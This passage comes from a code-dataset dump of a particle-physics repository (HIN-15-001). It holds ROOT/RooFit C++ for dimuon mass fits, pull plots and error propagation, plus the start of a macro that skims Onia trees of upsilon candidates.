< hist->GetNbinsX(); i++) \n {\n if (hist->GetBinContent(i) == 0) continue;\n nFullBinsPull++;\n Chi2 = Chi2 + pow(ypull[i],2);\n }\n // for writing on canvas\n int nFitParam = fit_2nd->floatParsFinal().getSize();\n int Dof = nFullBinsPull - nFitParam;\n double UnNormChi2 = Chi2;\n Chi2 /= (nFullBinsPull - nFitParam);\n\n cout<<\"!!!!! nFullBinsPull=\"<<nFullBinsPull<<\"\\tnFitParam=\"<<nFitParam<<endl;\n // draw pulls\n pPad2.cd();\n double mFrameMax = 0;\n\n\n RooPlot* prpFramePull = mass->frame(Name(Form(\"Pull_%s\",hist->GetName())),Bins(hist->GetNbinsX()),Range(hist->GetXaxis()->GetXmin(),hist->GetXaxis()->GetXmax()));\n\n prpFramePull->GetXaxis()->SetTitle(\"m_{#mu#mu} (GeV/c^{2})\");\n prpFramePull->GetXaxis()->CenterTitle(kTRUE);\n prpFramePull->GetXaxis()->SetTitleSize(0.06);\n prpFramePull->GetXaxis()->SetLabelSize(0.1);\n prpFramePull->GetYaxis()->CenterTitle(kTRUE);\n prpFramePull->GetYaxis()->SetTitleSize(0.08);\n prpFramePull->GetYaxis()->SetLabelSize(0.1);\n prpFramePull->GetYaxis()->SetTitleOffset(0.4);\n prpFramePull->GetXaxis()->SetTitleOffset(0.6);\n\n prpFramePull->GetYaxis()->SetTitle(\"Pull\");\n prpFramePull->addPlotable(phPullm,\"PX\");\n\n if (prpFramePull->GetMinimum()*-1 > prpFramePull->GetMaximum()) mFrameMax = prpFramePull->GetMinimum()*-1;\n else mFrameMax = prpFramePull->GetMaximum();\n mFrameMax = min(5.,mFrameMax);\n prpFramePull->SetMaximum(mFrameMax); \n prpFramePull->SetMinimum(-1*mFrameMax); \n prpFramePull->Draw();\n\n latex1.SetTextSize(0.085);\n double myChi2 = chi2FromRoo*Dof;\n latex1.DrawLatex(0.7,1.-0.05*3.5,Form(\"#chi^{2}/ndf = %2.1f/%d\",myChi2,Dof));\n cm.SaveAs(Form(\"%s_pulls.pdf\",hist->GetName()));\n cm.SaveAs(Form(\"%s_pulls.png\",hist->GetName()));\n\n // clean begind us\n delete nsig1f;\n delete mass; delete mean; delete mean1S;\n delete sigma1; delete sigma1S; delete alpha; delete npow;\n delete sigmaFraction; delete scaleWidth; delete sigmaGaus; delete cb1S_1; delete cb1S_2;\n delete sig1S; delete bkgdFraction; delete bkg_a1; delete bkg_a2; delete pdf_combinedbkgd; delete pdf;\n // delete nll;\n\n return val;\n}\n\n//Ratio Error\ndouble dimueff::RError(double A, double eA, double B, double eB){\n double f=A/B;\n double fA=eA/A;\n double fB=eB/B;\n double eR= f*sqrt( (fA*fA + fB*fB )) ;\n return eR;\n}\n\n\n//Product Error\ndouble dimueff::PError(double A, double eA, double B, double eB){\n double f=A*B;\n double fA=eA/A;\n double fB=eB/B;\n double eR= f*sqrt( (fA*fA + fB*fB )) ;\n return eR;\n}\n\ndouble dimueff::systerr(double e0, double e1, double e2, double e3, double e4, double e5)\n{\n double E1 = max(fabs(e1-e0),fabs(e2-e0));\n double E2 = max(fabs(e3-e0),fabs(e4-e0));\n double E3 = fabs(e5-e0);\n return sqrt(E1*E1 + E2*E2 + E3*E3);\n}\n" }, { "alpha_fraction": 0.5660377144813538, "alphanum_fraction": 0.7547169923782349, "avg_line_length": 25.5, "blob_id": "5c75a9d33ce3e13d1a35ceca521c8d5b901a1a68", "content_id": "135b8fcfdfd5fedab7532b0464bc5cbe49fde581", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 53, "license_type": "no_license", "max_line_length": 39, "num_lines": 2, "path": "/README.md", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "# HIN-15-001\nRepository for codes used in HIN-15-001\n" }, { "alpha_fraction": 0.6399452686309814, "alphanum_fraction": 0.6556068658828735, "avg_line_length": 48.9385871887207, "blob_id": "d8c099489124acedd28d30348ef03bfe3c5d360d", "content_id": "0048772199dfb787d01394b76306120b384a4a67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 43099, "license_type": "no_license", "max_line_length": 198, "num_lines": 863, "path": "/skimming/MakeTree_2015.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <Riostream.h>\n#include <TROOT.h>\n\n#include <TH1.h>\n#include <TH2D.h>\n\n#include <TBranch.h>\n#include <TCanvas.h>\n#include \"TClonesArray.h\"\n#include <TDirectory.h>\n#include <TFile.h>\n#include \"TH1F.h\"\n#include <TLatex.h>\n#include <TLegend.h>\n#include \"TLorentzVector.h\"\n#include <TMath.h>\n#include \"TRandom.h\"\n#include <TStyle.h>\n#include <TSystem.h>\n#include \"TTree.h\"\n#include \"TString.h\"\n\n// miscellaneous \n#include <fstream>\n#include <map>\n#include <iostream>\n#include <stdio.h>\n#include <stdio.h>\n#include <string.h>\n#include <vector>\n\n#endif\n\n\n\n//this macro will run over all events in the Onia tree,\n// and will store entries in a simpler way:\n// - once dimuons are firing the last filter in the Trigger path X (e.g. DoubleMu0_HighQ)\n// - and if the vertex probability is above 1% (by construction, you remove 1% of signal there)\n// - fill the entries with all ID variables and \n/*\nLegend: Sign pairs: +- sign=0; ++ sign=1, -- sign=2\nLegend: muon pairs: Glb-Glb id=0, Glb-Trk = 1, Trk-Trk = 2\n\nn --> 2^n -1\n0 theTriggerNames.push_back(\"NoTrigger\");\n1 theTriggerNames.push_back(\"HLT_PAL1DoubleMuOpen_v1\");\n2 theTriggerNames.push_back(\"HLT_PAL1DoubleMu0_HighQ_v1\");\n3 theTriggerNames.push_back(\"HLT_PAL2DoubleMu3_v1\");\n4 theTriggerNames.push_back(\"HLT_PAMu3_v1\");\n5 theTriggerNames.push_back(\"HLT_PAMu7_v1\");\n6 theTriggerNames.push_back(\"HLT_PAMu12_v1\");\n\n */\n\n\nvoid MakeTree_2015(const char* inputOniaTree = \"../All_v2.24_Histos_Runs_211739-211831_GlbGlb_woPileUpRej_allPV.root\",\n\t\t //miniUpsilon_Histos_Runs_210498-211631_HFvars_paapJune28.root\",\n\t\t // const char* runNumber = \"211739-211831\",\n\t\t // const char* runNumber = \"210498-211631\",// whole pA run, with wrong alignment\n\t\t // const char* runNumber = \"gt210658-211631\", \n\t\t const char* runNumber = \"HIN-15-001\", \n\t\t //const char* runNumber = \"a\",\n\t\t float newVtxProbCut = 0.01,// default in the input tree is already 0.01\n\t\t float ptcut = 0., // single muon cut pt\n\t\t int nTriggerBit = 2, \n\t\t // const char* dataSource= \"upsiMiniTree_pp276tev_5p41_ptmu4_woPileup_june27\",\n\t\t // const char* dataSource= \"upsiMiniTree_pA5tev_ptmu4_octb15_chunk1_runGT210658\",\n\t\t const char* dataSource= \"upsiMiniTree_pp2p76tev_noIDVars_GlbGlb\",\n\t\t // const char* dataSource= \"upsiMiniTree_pp7tev_dimu0v1_ptmu4\",\n\t\t // const char* dataSource= \"upsiMiniTree_aa276tevC50100_ppofficial_trktrk_ptmu4\",\n\t\t bool isAArereco = false,// only for newly processed AA; old tree is with triger v1,v2 included\n\t\t bool bAllTriggers = false,\n\t\t bool addExtraCentrality = true,\n\t\t bool excludeWrongAlign_pa = false\n\t\t )\n{\n gROOT->Macro(\"setTDRStyle_modified.C+\");\n \n float mass_min = 7.0; \n float mass_max = 14.0;\n int nBins = 30;\n \n TFile *f = TFile::Open(Form(\"%s\",inputOniaTree));\n \n TTree *t = (TTree*)f->Get(\"myTree\");\n Long64_t nentries = t->GetEntries();\n cout<<\"Got the tree!\"<<endl;\n cout << nentries << endl;\n const int NMAX=1000000;\n UInt_t eventNb;\n UInt_t runNb;\n Int_t Centrality;\n Int_t HLTriggers;\n Int_t Reco_QQ_size;\n Int_t Reco_QQ_type[NMAX];\n Int_t Reco_QQ_sign[NMAX];\n Int_t Reco_QQ_NtrkDeltaR03[NMAX];\n Int_t Reco_QQ_NtrkDeltaR04[NMAX];\n Int_t Reco_QQ_NtrkDeltaR05[NMAX];\n Int_t Reco_QQ_NtrkPt04[NMAX];\n Int_t Reco_QQ_NtrkPt03[NMAX];\n Int_t Reco_QQ_NtrkPt02[NMAX];\n\n Float_t Reco_QQ_ctau[NMAX];\n Float_t Reco_QQ_ctauErr[NMAX];\n Float_t Reco_QQ_ctauTrue[NMAX];\n Float_t Reco_QQ_VtxProb[NMAX];\n float Reco_QQ_dca[NMAX]; // new float, unused in upsilon\n Int_t Reco_QQ_trig[NMAX];\n Float_t zVtx;\n\n int Reco_QQ_mupl_nTrkHits[NMAX];\n float Reco_QQ_mupl_normChi2_inner[NMAX];\n float Reco_QQ_mupl_normChi2_global[NMAX];\n float Reco_QQ_mupl_dxy[NMAX];\n float Reco_QQ_mupl_dxyErr[NMAX];\n float Reco_QQ_mupl_dz[NMAX];\n float Reco_QQ_mupl_dzErr[NMAX];\n Bool_t Reco_QQ_mupl_TrkMuArb[NMAX];\n Bool_t Reco_QQ_mupl_TMOneStaTight[NMAX]; // new bool, unused in upsilon(?)\n int Reco_QQ_mupl_nMuValHits[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mupl_nPixWMea[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mupl_nTrkWMea[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mupl_StationsMatched[NMAX]; // new int, unused in Upsilon\n float Reco_QQ_mupl_pt_inner[NMAX]; // new float, unused.\n float Reco_QQ_mupl_pt_global[NMAX]; //new float, unused.\n float Reco_QQ_mupl_ptErr_inner[NMAX]; // new float, unused.\n float Reco_QQ_mupl_ptErr_global[NMAX]; //new float, unused.\n \n int Reco_QQ_mumi_nTrkHits[NMAX];\n float Reco_QQ_mumi_normChi2_inner[NMAX];\n float Reco_QQ_mumi_normChi2_global[NMAX];\n float Reco_QQ_mumi_dxy[NMAX];\n float Reco_QQ_mumi_dxyErr[NMAX];\n float Reco_QQ_mumi_dz[NMAX];\n float Reco_QQ_mumi_dzErr[NMAX];\n Bool_t Reco_QQ_mumi_TrkMuArb[NMAX];\n Bool_t Reco_QQ_mumi_TMOneStaTight[NMAX]; // new bool, unused in upsilon(?)\n int Reco_QQ_mumi_nMuValHits[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mumi_nPixWMea[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mumi_nTrkWMea[NMAX]; // new int, unused in upsilon\n int Reco_QQ_mumi_StationsMatched[NMAX]; // new int, unused in Upsilon\n float Reco_QQ_mumi_pt_inner[NMAX]; // new float, unused.\n float Reco_QQ_mumi_pt_global[NMAX]; //new float, unused.\n float Reco_QQ_mumi_ptErr_inner[NMAX]; // new float, unused.\n float Reco_QQ_mumi_ptErr_global[NMAX]; //new float, unused.\n\n TClonesArray *Reco_QQ_vtx = 0;;\n TClonesArray *Reco_QQ_4mom = 0;\n TClonesArray *Reco_QQ_mupl_4mom = 0;\n TClonesArray *Reco_QQ_mumi_4mom = 0;\n TClonesArray *Reco_mu_4mom = 0;\n\n Int_t Reco_mu_size;\n Int_t Reco_mu_type[NMAX];\n Int_t Reco_mu_charge[NMAX];\n\n int nPlusMu;\n int nMinusMu;\n float muPt[NMAX];\n float muEta[NMAX];\n float muPhi[NMAX];\n //Int_t nReco_QQ;\n Float_t invariantMass;\n Int_t QQtrig;\n Int_t QQsign;\n Int_t QQTrkDr03;\n Int_t QQTrkDr04;\n Int_t QQTrkDr05;\n\n Int_t QQTrkPt04;\n Int_t QQTrkPt03;\n Int_t QQTrkPt02;\n\n float weight;\n float weight2;\n Float_t upsPt;\n Float_t upsEta;\n Float_t upsPhi;\n Float_t upsRapidity;\t\n Float_t vProb;\n Float_t muPlusPt;\n Float_t muMinusPt;\n Float_t muPlusEta;\n Float_t muMinusEta;\n Float_t muPlusPhi;\n Float_t muMinusPhi;\n Float_t RmuPlusPhi = 0;\n Float_t RmuMinusPhi = 0;\n\n // centrliaty extra stuff\n Int_t Npix, NpixelTracks,Ntracks;\n Float_t SumET_HF, SumET_HFplus, SumET_HFminus, SumET_HFplusEta4, SumET_HFminusEta4, SumET_EB, SumET_ET, SumET_EE, SumET_EEplus, SumET_EEminus, SumET_ZDC, SumET_ZDCplus, SumET_ZDCminus;\n\n // track extra stuff\n const int NTRKMAX=100000000;\n int Reco_trk_size=0;\n TClonesArray *Reco_trk_vtx = 0;\n TClonesArray *Reco_trk_4mom = 0;\n float trkPt[NTRKMAX];\n float trkEta[NTRKMAX];\n float trkPhi[NTRKMAX];\n //---------------------------\n TBranch *b_Centrality; //!\n TBranch *b_eventNb; //!\n TBranch *b_runNb; //!\n TBranch *b_HLTriggers; //!\n TBranch *b_Reco_QQ_size; //!\n TBranch *b_Reco_QQ_trig; //!\n TBranch *b_Reco_QQ_type; //!\n TBranch *b_Reco_QQ_sign; //!\n TBranch *b_Reco_QQ_VtxProb; //!\n TBranch *b_Reco_QQ_dca; // new float, unused in upsilon\n TBranch *b_Reco_QQ_ctau; //!\n TBranch *b_Reco_QQ_ctauErr; //!\n TBranch *b_Reco_QQ_ctauTrue; //!\n TBranch *b_Reco_QQ_4mom; //!\n TBranch *b_Reco_QQ_vtx; //!\n TBranch *b_Reco_QQ_mupl_4mom;//!\n TBranch *b_Reco_QQ_mumi_4mom;//!\n TBranch *b_Reco_QQ_NtrkDeltaR03;//!\n TBranch *b_Reco_QQ_NtrkDeltaR04;//!\n TBranch *b_Reco_QQ_NtrkDeltaR05;//!\n TBranch *b_Reco_QQ_NtrkPt04;//!\n TBranch *b_Reco_QQ_NtrkPt03;//!\n TBranch *b_Reco_QQ_NtrkPt02;//!\n //------------------------------\n TBranch *b_Reco_QQ_mupl_nTrkHits; \n TBranch *b_Reco_QQ_mupl_normChi2_inner;\n TBranch *b_Reco_QQ_mupl_normChi2_global;\n TBranch *b_Reco_QQ_mupl_dxy;\n TBranch *b_Reco_QQ_mupl_dxyErr;\n TBranch *b_Reco_QQ_mupl_dz;\n TBranch *b_Reco_QQ_mupl_dzErr;\n TBranch *b_Reco_QQ_mupl_TrkMuArb;\n TBranch *b_Reco_QQ_mupl_TMOneStaTight; // new bool, unused in upsilon(?)\n TBranch *b_Reco_QQ_mupl_nMuValHits; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mupl_nPixWMea; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mupl_nTrkWMea; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mupl_StationsMatched; // new int, unused in Upsilon\n TBranch *b_Reco_QQ_mupl_pt_inner; // new float, unused.\n TBranch *b_Reco_QQ_mupl_pt_global; //new float, unused.\n TBranch *b_Reco_QQ_mupl_ptErr_inner; // new float, unused.\n TBranch *b_Reco_QQ_mupl_ptErr_global; //new float, unused.\n \n TBranch *b_Reco_QQ_mumi_TMOneStaTight; // new bool, unused in upsilon(?)\n TBranch *b_Reco_QQ_mumi_nMuValHits; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mumi_nPixWMea; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mumi_nTrkWMea; // new int, unused in upsilon\n TBranch *b_Reco_QQ_mumi_StationsMatched; // new int, unused in Upsilon\n TBranch *b_Reco_QQ_mumi_pt_inner; // new float, unused.\n TBranch *b_Reco_QQ_mumi_pt_global; //new float, unused.\n TBranch *b_Reco_QQ_mumi_ptErr_inner; // new float, unused.\n TBranch *b_Reco_QQ_mumi_ptErr_global; //new float, unused.\n TBranch *b_Reco_QQ_mumi_normChi2_inner;\n TBranch *b_Reco_QQ_mumi_normChi2_global;\n TBranch *b_Reco_QQ_mumi_dxy;\n TBranch *b_Reco_QQ_mumi_dxyErr;\n TBranch *b_Reco_QQ_mumi_dz;\n TBranch *b_Reco_QQ_mumi_dzErr;\n TBranch *b_Reco_QQ_mumi_TrkMuArb;\n TBranch *b_Reco_QQ_mumi_nTrkHits;\n //------------- //------------- //------------- \n TBranch *b_Reco_mu_size; //!\n TBranch *b_Reco_mu_type; //!\n TBranch *b_Reco_mu_charge;//!\n TBranch *b_Reco_mu_4mom; //!\n //------------- //------------- //------------- \n TBranch *b_zVtx; //!\n TBranch *b_Npix; //!\n TBranch *b_NpixelTracks; //!\n TBranch *b_Ntracks; //!\n TBranch *b_SumET_HF; //!\n TBranch *b_SumET_HFplus; //!\n TBranch *b_SumET_HFminus; //!\n TBranch *b_SumET_HFplusEta4; //!\n TBranch *b_SumET_HFminusEta4; //!\n TBranch *b_SumET_ET; //!\n TBranch *b_SumET_EE; //!\n TBranch *b_SumET_EB; //!\n TBranch *b_SumET_EEplus; //!\n TBranch *b_SumET_EEminus; //!\n TBranch *b_SumET_ZDC; //!\n TBranch *b_SumET_ZDCplus; //!\n TBranch *b_SumET_ZDCminus; //!\n\n //------------------------------\n TBranch *b_Reco_trk_size; //! \n TBranch *b_Reco_trk_4mom; //!\n TBranch *b_Reco_trk_vtx; //!\n\n /// new tree variables\n Int_t _mupl_nTrkHits; \n Float_t _mupl_normChi2_inner;\n Float_t _mupl_normChi2_global;\n Float_t _mupl_dxy;\n Float_t _mupl_dxyErr;\n Float_t _mupl_dz;\n Float_t _mupl_dzErr;\n Bool_t _mupl_TrkMuArb;\n Bool_t _mupl_TMOneStaTight; // new bool, unused in upsilon(?)\n Int_t _mupl_nMuValHits; // new int, unused in upsilon\n Int_t _mupl_nPixWMea; // new int, unused in upsilon\n Int_t _mupl_nTrkWMea; // new int, unused in upsilon\n Int_t _mupl_StationsMatched; // new int, unused in Upsilon\n Float_t _mupl_pt_inner; // new float, unused.\n Float_t _mupl_pt_global; //new float, unused.\n Float_t _mupl_ptErr_inner; // new float, unused.\n Float_t _mupl_ptErr_global; //new float, unused.\n \n Bool_t _mumi_TMOneStaTight; // new bool, unused in upsilon(?)\n Int_t _mumi_nMuValHits; // new int, unused in upsilon\n Int_t _mumi_nPixWMea; // new int, unused in upsilon\n Int_t _mumi_nTrkWMea; // new int, unused in upsilon\n Int_t _mumi_StationsMatched; // new int, unused in Upsilon\n Float_t _mumi_pt_inner; // new float, unused.\n Float_t _mumi_pt_global; //new float, unused.\n Float_t _mumi_ptErr_inner; // new float, unused.\n Float_t _mumi_ptErr_global; //new float, unused.\n Float_t _mumi_normChi2_inner;\n Float_t _mumi_normChi2_global;\n Float_t _mumi_dxy;\n Float_t _mumi_dxyErr;\n Float_t _mumi_dz;\n Float_t _mumi_dzErr;\n Bool_t _mumi_TrkMuArb;\n Int_t _mumi_nTrkHits;\n Float_t _dca;\n float _ctau; // new float, unused in upsilon\n float _ctauTrue; // new float, unused in upsilon\n float _ctauErr; // new float, unused in upsilon\n float _zVtx;\n // ###### read input TTree\n t->SetBranchAddress(\"Centrality\", &Centrality, &b_Centrality);\n t->SetBranchAddress(\"eventNb\", &eventNb, &b_eventNb);\n t->SetBranchAddress(\"runNb\", &runNb, &b_runNb);\n t->SetBranchAddress(\"HLTriggers\", &HLTriggers, &b_HLTriggers);\n t->SetBranchAddress(\"Reco_QQ_size\", &Reco_QQ_size, &b_Reco_QQ_size);\n t->SetBranchAddress(\"Reco_QQ_type\", &Reco_QQ_type, &b_Reco_QQ_type);\n t->SetBranchAddress(\"Reco_QQ_sign\", &Reco_QQ_sign, &b_Reco_QQ_sign);\n t->SetBranchAddress(\"Reco_QQ_4mom\", &Reco_QQ_4mom, &b_Reco_QQ_4mom);\n t->SetBranchAddress(\"Reco_QQ_vtx\", &Reco_QQ_vtx, &b_Reco_QQ_vtx);\n t->SetBranchAddress(\"Reco_QQ_mupl_4mom\", &Reco_QQ_mupl_4mom, &b_Reco_QQ_mupl_4mom);\n t->SetBranchAddress(\"Reco_QQ_mumi_4mom\", &Reco_QQ_mumi_4mom, &b_Reco_QQ_mumi_4mom);\n \n t->SetBranchAddress(\"Reco_mu_size\", &Reco_mu_size, &b_Reco_mu_size);\n t->SetBranchAddress(\"Reco_mu_type\", &Reco_mu_type, &b_Reco_mu_type);\n t->SetBranchAddress(\"Reco_mu_charge\",&Reco_mu_charge, &b_Reco_mu_charge);\n t->SetBranchAddress(\"Reco_mu_4mom\", &Reco_mu_4mom, &b_Reco_mu_4mom);\n\n t->SetBranchAddress(\"Reco_QQ_NtrkDeltaR03\", &Reco_QQ_NtrkDeltaR03, &b_Reco_QQ_NtrkDeltaR03);\n t->SetBranchAddress(\"Reco_QQ_NtrkDeltaR04\", &Reco_QQ_NtrkDeltaR04, &b_Reco_QQ_NtrkDeltaR04);\n t->SetBranchAddress(\"Reco_QQ_NtrkDeltaR05\", &Reco_QQ_NtrkDeltaR05, &b_Reco_QQ_NtrkDeltaR05);\n\n t->SetBranchAddress(\"Reco_QQ_NtrkPt04\", &Reco_QQ_NtrkPt04, &b_Reco_QQ_NtrkPt04);\n t->SetBranchAddress(\"Reco_QQ_NtrkPt03\", &Reco_QQ_NtrkPt03, &b_Reco_QQ_NtrkPt03);\n t->SetBranchAddress(\"Reco_QQ_NtrkPt02\", &Reco_QQ_NtrkPt02, &b_Reco_QQ_NtrkPt02);\n // additional selection\n //id variables\n t->SetBranchAddress(\"Reco_QQ_mupl_nTrkHits\", &Reco_QQ_mupl_nTrkHits, &b_Reco_QQ_mupl_nTrkHits);\n t->SetBranchAddress(\"Reco_QQ_mupl_normChi2_inner\", &Reco_QQ_mupl_normChi2_inner, &b_Reco_QQ_mupl_normChi2_inner);\n t->SetBranchAddress(\"Reco_QQ_mupl_normChi2_global\", &Reco_QQ_mupl_normChi2_global, &b_Reco_QQ_mupl_normChi2_global);\n t->SetBranchAddress(\"Reco_QQ_mupl_dxy\", &Reco_QQ_mupl_dxy, &b_Reco_QQ_mupl_dxy);\n t->SetBranchAddress(\"Reco_QQ_mupl_dz\", &Reco_QQ_mupl_dz, &b_Reco_QQ_mupl_dz);\n t->SetBranchAddress(\"Reco_QQ_mupl_dxyErr\", &Reco_QQ_mupl_dxyErr, &b_Reco_QQ_mupl_dxyErr);\n t->SetBranchAddress(\"Reco_QQ_mupl_dzErr\", &Reco_QQ_mupl_dzErr, &b_Reco_QQ_mupl_dzErr);\n t->SetBranchAddress(\"Reco_QQ_mupl_TrkMuArb\", &Reco_QQ_mupl_TrkMuArb, &b_Reco_QQ_mupl_TrkMuArb);\n t->SetBranchAddress(\"Reco_QQ_mupl_StationsMatched\",&Reco_QQ_mupl_StationsMatched, &b_Reco_QQ_mupl_StationsMatched); // new int, unused in Upsilon\n t->SetBranchAddress(\"Reco_QQ_mupl_TMOneStaTight\", &Reco_QQ_mupl_TMOneStaTight, &b_Reco_QQ_mupl_TMOneStaTight); // new bool, unused in upsilon(?)\n t->SetBranchAddress(\"Reco_QQ_mupl_nMuValHits\", &Reco_QQ_mupl_nMuValHits, &b_Reco_QQ_mupl_nMuValHits); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mupl_nPixWMea\",&Reco_QQ_mupl_nPixWMea,&b_Reco_QQ_mupl_nPixWMea); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mupl_nTrkWMea\",&Reco_QQ_mupl_nTrkWMea,&b_Reco_QQ_mupl_nTrkWMea); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mupl_pt_inner\",&Reco_QQ_mupl_pt_inner,&b_Reco_QQ_mupl_pt_inner); // new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mupl_pt_global\",&Reco_QQ_mupl_pt_global,&b_Reco_QQ_mupl_pt_global);//new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mupl_ptErr_inner\",&Reco_QQ_mupl_ptErr_inner,&b_Reco_QQ_mupl_ptErr_inner); // new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mupl_ptErr_global\",&Reco_QQ_mupl_ptErr_global,&b_Reco_QQ_mupl_ptErr_global);//new float, unused.\n //muminus\n t->SetBranchAddress(\"Reco_QQ_mumi_nTrkHits\", &Reco_QQ_mumi_nTrkHits, &b_Reco_QQ_mumi_nTrkHits);\n t->SetBranchAddress(\"Reco_QQ_mumi_normChi2_inner\", &Reco_QQ_mumi_normChi2_inner, &b_Reco_QQ_mumi_normChi2_inner);\n t->SetBranchAddress(\"Reco_QQ_mumi_normChi2_global\", &Reco_QQ_mumi_normChi2_global, &b_Reco_QQ_mumi_normChi2_global);\n t->SetBranchAddress(\"Reco_QQ_mumi_dxy\", &Reco_QQ_mumi_dxy, &b_Reco_QQ_mumi_dxy);\n t->SetBranchAddress(\"Reco_QQ_mumi_dz\", &Reco_QQ_mumi_dz, &b_Reco_QQ_mumi_dz);\n t->SetBranchAddress(\"Reco_QQ_mumi_dxyErr\", &Reco_QQ_mumi_dxyErr, &b_Reco_QQ_mumi_dxyErr);\n t->SetBranchAddress(\"Reco_QQ_mumi_dzErr\", &Reco_QQ_mumi_dzErr, &b_Reco_QQ_mumi_dzErr);\n t->SetBranchAddress(\"Reco_QQ_mumi_TrkMuArb\", &Reco_QQ_mumi_TrkMuArb, &b_Reco_QQ_mumi_TrkMuArb); \n t->SetBranchAddress(\"Reco_QQ_mumi_TMOneStaTight\", &Reco_QQ_mumi_TMOneStaTight, &b_Reco_QQ_mumi_TMOneStaTight); // new bool, unused in upsilon(?)\n t->SetBranchAddress(\"Reco_QQ_mumi_nMuValHits\", &Reco_QQ_mumi_nMuValHits, &b_Reco_QQ_mumi_nMuValHits); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mumi_nPixWMea\",&Reco_QQ_mumi_nPixWMea,&b_Reco_QQ_mumi_nPixWMea); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mumi_nTrkWMea\",&Reco_QQ_mumi_nTrkWMea,&b_Reco_QQ_mumi_nTrkWMea); // new int, unused in upsilon\n t->SetBranchAddress(\"Reco_QQ_mumi_StationsMatched\",&Reco_QQ_mumi_StationsMatched, &b_Reco_QQ_mumi_StationsMatched); // new int, unused in Upsilon\n t->SetBranchAddress(\"Reco_QQ_mumi_pt_inner\",&Reco_QQ_mumi_pt_inner,&b_Reco_QQ_mumi_pt_inner); // new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mumi_pt_global\",&Reco_QQ_mumi_pt_global,&b_Reco_QQ_mumi_pt_global);//new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mumi_ptErr_inner\",&Reco_QQ_mumi_ptErr_inner,&b_Reco_QQ_mumi_ptErr_inner); // new float, unused.\n t->SetBranchAddress(\"Reco_QQ_mumi_ptErr_global\",&Reco_QQ_mumi_ptErr_global,&b_Reco_QQ_mumi_ptErr_global);//new float, unused.\n //dimuons\n t->SetBranchAddress(\"Reco_QQ_dca\", &Reco_QQ_dca, &b_Reco_QQ_dca); \n t->SetBranchAddress(\"Reco_QQ_trig\", &Reco_QQ_trig, &b_Reco_QQ_trig);\n t->SetBranchAddress(\"Reco_QQ_VtxProb\", &Reco_QQ_VtxProb, &b_Reco_QQ_VtxProb);\n t->SetBranchAddress(\"Reco_QQ_ctau\", &Reco_QQ_ctau, &b_Reco_QQ_ctau);\n t->SetBranchAddress(\"Reco_QQ_ctauErr\", &Reco_QQ_ctauErr, &b_Reco_QQ_ctauErr);\n t->SetBranchAddress(\"Reco_QQ_ctauTrue\", &Reco_QQ_ctauTrue, &b_Reco_QQ_ctauTrue);\n t->SetBranchAddress(\"zVtx\", &zVtx, &b_zVtx);\n // extra centrality variables\n t->SetBranchAddress(\"Npix\", &Npix, &b_Npix);\n t->SetBranchAddress(\"NpixelTracks\", &NpixelTracks, &b_NpixelTracks);\n t->SetBranchAddress(\"Ntracks\", &Ntracks, &b_Ntracks);\n t->SetBranchAddress(\"SumET_HF\", &SumET_HF, &b_SumET_HF);\n t->SetBranchAddress(\"SumET_HFplus\", &SumET_HFplus, &b_SumET_HFplus);\n t->SetBranchAddress(\"SumET_HFminus\", &SumET_HFminus, &b_SumET_HFminus);\n t->SetBranchAddress(\"SumET_HFplusEta4\", &SumET_HFplusEta4, &b_SumET_HFplusEta4);\n t->SetBranchAddress(\"SumET_HFminusEta4\",&SumET_HFminusEta4, &b_SumET_HFminusEta4);\n t->SetBranchAddress(\"SumET_ET\", &SumET_ET, &b_SumET_ET);\n t->SetBranchAddress(\"SumET_EE\", &SumET_EE, &b_SumET_EE);\n t->SetBranchAddress(\"SumET_EB\", &SumET_EB, &b_SumET_EB);\n t->SetBranchAddress(\"SumET_EEplus\", &SumET_EEplus, &b_SumET_EEplus);\n t->SetBranchAddress(\"SumET_EEminus\", &SumET_EEminus, &b_SumET_EEminus);\n t->SetBranchAddress(\"SumET_ZDC\" , &SumET_ZDC, &b_SumET_ZDC);\n t->SetBranchAddress(\"SumET_ZDCplus\", &SumET_ZDCplus, &b_SumET_ZDCplus);\n t->SetBranchAddress(\"SumET_ZDCminus\", &SumET_ZDCminus, &b_SumET_ZDCminus);\n \n // extra track variable \n t->SetBranchAddress(\"Reco_trk_size\", &Reco_trk_size, &b_Reco_trk_size);\n t->SetBranchAddress(\"Reco_trk_4mom\", &Reco_trk_4mom, &b_Reco_trk_4mom);\n t->SetBranchAddress(\"Reco_trk_vtx\", &Reco_trk_vtx, &b_Reco_trk_vtx);\n\n // #### define control histograms\n TH1F *h_QQ_mass = new TH1F(\"h_QQ_mass\",\"\",nBins, mass_min,mass_max); // all OS\n TH1F *h_QQ_mass_1 = new TH1F(\"h_QQ_mass_1\",\"\",nBins, mass_min,mass_max);// OS in acceptance\n TH1F *h_QQ_mass_2 = new TH1F(\"h_QQ_mass_2\",\"\",nBins, mass_min, mass_max);// SS \n \n // ##### output file\n TFile *f1 = new TFile(Form(\"../dimuonTree_%s_Run%s_trigBit%d_allTriggers%d.root\",dataSource,runNumber,nTriggerBit,bAllTriggers),\"RECREATE\");\n\n TTree *MuTree = new TTree(\"MuTree\",\"MuTree\");\n TTree *UpsilonTree = new 